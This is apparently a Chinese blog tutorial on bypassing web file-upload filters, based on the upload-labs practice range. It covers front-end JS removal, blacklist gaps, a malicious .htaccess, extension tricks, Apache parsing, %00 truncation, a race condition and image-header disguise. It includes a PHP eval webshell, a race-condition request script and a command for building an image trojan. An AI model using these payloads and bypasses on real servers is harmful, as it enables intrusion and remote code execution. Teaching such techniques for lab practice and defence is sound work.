目录

前言

正文

总结


前言

  目前,文件上传往往在业务中不可避免,也是极其容易出现上传漏洞。根据owasptop10中的排名,文件上传漏洞(属于攻击检测和防范不足)高居其中。今天和大家分享常见的文件上传的绕过方式。

正文

 绕过方式一:前端绕过

 首先,根据前端页面队上传文件的过滤来看,过滤主要是根据如下的JS代码实现:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;  
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }

    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif|.php";  

    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));

    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

这种我们就可以采用这些方式绕过:1. 删除浏览器事件;2.burpsuite 抓包修改文件后缀名绕过;3.构造本地上传表单绕过。4.浏览器禁止JS运行(相当于删除了浏览器事件)。

删除浏览器事件

浏览器禁止JS运行

burp suite抓包修改数据

绕过方式二:黑名单绕过

 首先看一看过滤的一些关键代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);                      //删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');                 //将.和后面的内容显示出来
        $file_ext = strtolower($file_ext);                     //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);     //去除字符串::$DATA
        $file_ext = trim($file_ext);                            //去掉前后的空格

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

从上述代码中可以看出来:在代码层面上,通过黑名单的方式过滤了后缀名为:asp、aspx、php、jsp 的文件。并且过滤了:大小写绕过、::$data绕过、空格绕过、点绕过方式。

这种情况下,如果httpd.conf文件中存在如下的配置,那么我们就可以采用配置文件中允许的后缀名进行绕过:

不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如上述配置。

 

绕过方式三:.htaccess文件绕过

绕过方式二中,我们可以看出来,黑名单中过滤了许多的文件后缀。除了.htaccess后缀。.htaccess文件的作用是:.htaccess就是httpd.conf的衍生品,它起着和httpd.conf相同的作用。使用条件:1.mod rewrite 模块开启;2. /etc/apache2/apache2.conf 中设置AllowOverride ALL。

.htaccess文件中写入任选如下内容:

方式一:AddType application/x-httpd-php .gif

方式二:
<FilesMatch "*.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到.gif文件,则被解析成PHP代码执行
</FilesMatch>
 

成功绕过:

 绕过方式四:文件后缀名绕过

文件后缀名 绕过有如下的几种方式:1. 大小写绕过;2.空格绕过;3. 使用符号.绕过;4.使用::$DATA绕过;5. 双写文件后缀名绕过。

过滤代码可以参考黑名单过滤代码。让绕过实现:

 

 

 

绕过方式五:利用apache解析漏洞绕过

Apache 从右向左解析,遇到不认识的文件名会跳过。比如 muma.php.xx.jpg,看似是一个jpg文件,但是交到apache进行处理的时候,apache找不到.php后缀名的文件,所以,apache会从右向左一个一个剥离,直到找到了.php文件。然后才交给php处理。 

 

绕过方式六:%00截断绕过

过滤方式:使用白名单过滤:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

绕过前提:php版本小于5.3.29,且php.int 内的magic_quotes_gpc为关闭状态。原理是:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。

get请求方式如下:

post请求方式如下:

写入这个后,我们需要将%00转码后再进行转发,选择%00后点击右键,按照图中所示转码

 绕过方式七:条件竞争绕过

如果知道是先将文件存储后再判断后缀名,如果不在黑名单里面的话就保留,如果在黑名单里面的话就删除,因此可以利用特性进行条件竞争:

首先:bp发送给Intruder,查看发送文件名字为shell.php,发送内容为:

<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["benben"]); ?>'); ?>

以上一句话木马的意思是,如果该页面被人访问,会自动创建一个php文件到本目录里面。设置数据包无限重发:

第二步:在burpsuite重放数据包之前,打开python脚本运行,脚本代码如下所示:

import requests           //导入request模块
url = "http://127.0.0.1/upload/upload/shell.php"   // 指定url
while True:                                       //使用while循环多次发送请求
    html = requests.get(url)                  //通过get方式请求url
    if html.status_code == 200:             //进行if判断:如果返回的状态码是200 就终端循环
        print("OK,request is final")
        break
    else:
	    print("NO,again request")

第三步:运行脚本,并开始重放攻击:

 绕过方式八:文件内容绕过

  我们可以再文件头部中添加一些用来描述如图片特性的特征值,将这些特征值用来伪装php文件。

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

绕过方法:1.图片木马;2.添加图片特征值。

制作图片木马:

copy 1.php/a + xiaozhupeiqi.jpg/b muma.jpg

添加特征值,如再1.php中添加:GIF89a,这gif图片的特征值。

总结

  未知攻焉知防。最后给大家推荐几个在线练习文件上传漏洞的靶场。瑞斯拜!!!

My Upload

upload-labs

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐